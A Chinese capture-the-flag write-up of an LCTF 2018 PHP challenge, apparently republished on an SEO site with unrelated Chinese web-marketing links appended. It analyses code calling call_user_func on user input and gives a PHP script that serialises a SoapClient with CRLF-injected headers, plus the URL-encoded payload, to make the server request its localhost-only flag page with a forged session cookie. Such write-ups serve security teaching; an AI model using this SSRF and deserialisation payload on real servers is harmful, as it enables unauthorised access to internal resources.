当前位置: 首页 > wzjs >正文

福州网站建设招商网络软营销

福州网站建设招商,网络软营销,做女装的看哪个网站好,WordPress推送服务进入靶场 分析代码 <?php // 此函数用于高亮显示当前文件&#xff08;即包含此代码的 PHP 文件&#xff09;的源代码&#xff0c;常用于调试或展示代码结构。 highlight_file(__FILE__);// 定义一个变量 $b&#xff0c;其值为字符串 implode&#xff0c;implode 是 PHP 中…

进入靶场

分析代码

<?php
// 此函数用于高亮显示当前文件(即包含此代码的 PHP 文件)的源代码,常用于调试或展示代码结构。
highlight_file(__FILE__);// 定义一个变量 $b,其值为字符串 'implode',implode 是 PHP 中的一个内置函数,用于将数组元素组合成一个字符串。
$b = 'implode';// 通过 call_user_func 函数调用由用户通过 GET 请求传入的参数 'f' 所指定的函数,并将 POST 请求的数据作为参数传递给该函数。
call_user_func($_GET['f'], $_POST);// 启动一个新的会话或者继续当前的会话,用于在多个页面之间存储和共享用户数据。
session_start();// 检查是否通过 GET 请求传入了名为 'name' 的参数。
if (isset($_GET['name'])) {// 如果存在 'name' 参数,则将其值存储到会话变量 $_SESSION['name'] 中。$_SESSION['name'] = $_GET['name'];
}// 打印出当前会话变量的详细信息,用于调试目的,显示会话中存储的所有数据。
var_dump($_SESSION);// 创建一个数组 $a,该数组包含两个元素:第一个元素是会话变量 $_SESSION 中的第一个值(通过 reset 函数获取),第二个元素是字符串 'welcome_to_the_lctf2018'。
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');// 调用之前定义的变量 $b 所代表的函数(即 implode 函数),将数组 $a 的元素组合成一个字符串。
// 不过这里没有对 implode 函数的返回值进行任何处理,组合后的字符串没有被使用。
call_user_func($b, $a);
?>

这行代码执行后输出了 array(0) { }。这是 var_dump 函数对 $_SESSION 变量进行输出的结果 

注意:当使用 session_start() 开启会话并设置会话变量后,PHP 会在会话结束时自动将会话数据序列化并存储到指定的会话存储位置 ,在本段代码中,意味着name需要进行反序列化操作 

还 得知我们通过get方式传递函数名给f

通过post方式传递给函数f的参数

通过get方式传递的还有参数name

既然用到了post就先抓包

随意提交内容后,发现最后只有名字提交的参数会显示在页面上,而虽然在源代码里允许我们闯入函数名和参数,但是它不会在页面上显示。反应过来源代码里面没有输出。 

想获得更多的信息,显然查看源代码和抓包是没有用的,所以我们试着扫描一下目录。看看有没有哪些可以访问到的文件,我用bp

 only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!

本地代码肯定是要提交的,所以我们在 name 的参数里面提交,刚好进行反序列化

那就用 PHP 脚本实现

<?php$target ='http://127.0.0.1/flag.php';$b = new SoapClient(null,array('location'=>$target,'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车'uri' => "http://127.0.0.1/"));$se = serialize($b);echo "|" . urlencode($se);?>

 

|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

 

 

 

 

 

 

http://www.dtcms.com/wzjs/129717.html

相关文章:

  • 替代 wordpress基本seo技术在线咨询
  • 怎样做网站收录seo工程师是什么职业
  • 株洲市哪里有做公司官方网站沧州网站seo公司
  • 平台建网站恢复正常百度
  • 网站做研究生毕业论文代写文章质量高的平台
  • 体育网站建设的必要性市场seo是什么意思
  • 网站账户上的余额分录怎么做做seo需要哪些知识
  • 网站开发能从事那些职业网站seo视频狼雨seo教程
  • 南昌网站开发公司电话seo网站建设公司
  • 昆明网络推广昆明网站建设昆明昆明什么是sem和seo
  • 织梦网站广告公众号代运营
  • jtbc网站开发教程seo流量软件
  • 夏天做哪些网站致富百度竞价恶意点击软件
  • 网站开发项目实训总结百度网址提交入口平台
  • 提升学历一般多少钱蜗牛精灵seo
  • 福田祥菱官网青岛seo排名公司
  • 美国cloudflare服务器网站快速优化排名app
  • 北京网站建设石榴汇域名注册新网
  • 网站建设和优化的营销话术公司域名注册步骤
  • 网站模拟效果香飘飘奶茶软文
  • 河南省建设工程招标网辽宁seo推广
  • 常见的网络推广方法有哪些上海百度seo牛巨微
  • 教育类网站建设策划书今日小说排行榜风云榜
  • 网站建设费放什么科目网站的排名优化怎么做
  • 旅游网站设计理念苏州手机关键词优化
  • 南京企业网站产品营销策划
  • 收款后自动发货的网站是怎么做的热狗seo顾问
  • 禁止粘贴的网站seo网站推广软件排名
  • 用java做的游戏下载网站有哪些关键词seo排名优化
  • 专业合肥网站建设网络营销主要学什么